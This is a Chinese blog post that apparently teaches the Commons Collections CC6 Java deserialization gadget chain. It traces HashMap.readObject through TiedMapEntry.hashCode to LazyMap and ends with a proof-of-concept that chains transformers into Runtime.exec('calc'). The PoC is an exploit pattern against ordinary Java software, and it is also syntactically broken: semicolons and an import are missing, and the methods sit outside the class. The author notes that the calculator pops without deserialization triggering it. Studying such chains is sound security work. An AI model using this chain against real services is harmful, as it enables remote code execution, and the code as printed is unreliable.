文章导读

CC6?六六六

RootReapers 2026年5月18日 76

最常用的一条CC链

不看JDK版本

其实就是CC1换了个走向,结合了URLDNS

先看一下走向

前半条有点陌生,从后半条开始

后半条完全就是LazyMap

从后半条走起

如果是CC1 LazyMap链,到这里,就可以利用AnnotationInvocationHandler(破名字够长的)

去搞动态代理调用invoke(invoke里面调用了get)然后readObject了

但是CC6不一样

走到这里,开始找get

在TiedMapEntry类里找到了它的getValue()方法里调用了get(别问咋找的)

public Object getValue() {
    return map.get(key);                    //此处get如果是LazyMap，就可以完成链子
}

往上找哪里调用getValue()

也是这个类,hashCode调用了getValue()

hashCode,很眼熟的方法

在URLDNS里面就有

从最初的那张图,结合hashCode,推测一下起点

很明显就是HashMap作为起点了

HashMap里面有个readObject

最后面触发了一个

看一下hash函数

有一个key.hashCode

调用了键的hashCode

如果有个重写了hashCode,并且hashCode能够调用危险方法的类

就能够闭环了

刚才也看到了,TiedMapEntry,重写hashCode,里面有个getValue,getvalue能够调用get

写Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.util.HashMap;
import java.util.Map;

public class CC6{
    Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };
    ChainedTransformer chainedTransformer =  new ChainedTransformer(transformers);

    HashMap<Object,Object> map = new HashMap<>();
    Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);//拿到LazyMap

    TiedMapEntry tm = new TiedMapEntry(lazyMap,"123456")//第二个参数这里用不上,不管,随便给个值
    
    HashMap<Object,Object> hm = new HashMap();
    hm.put(tm,"123456")
    
   
}
public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("POC.txt"));
        oos.writeObject(object);
        oos.close();
    }

    //定义反序列化操作
    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }

看起来是弹了,但其实不是反序列化弹的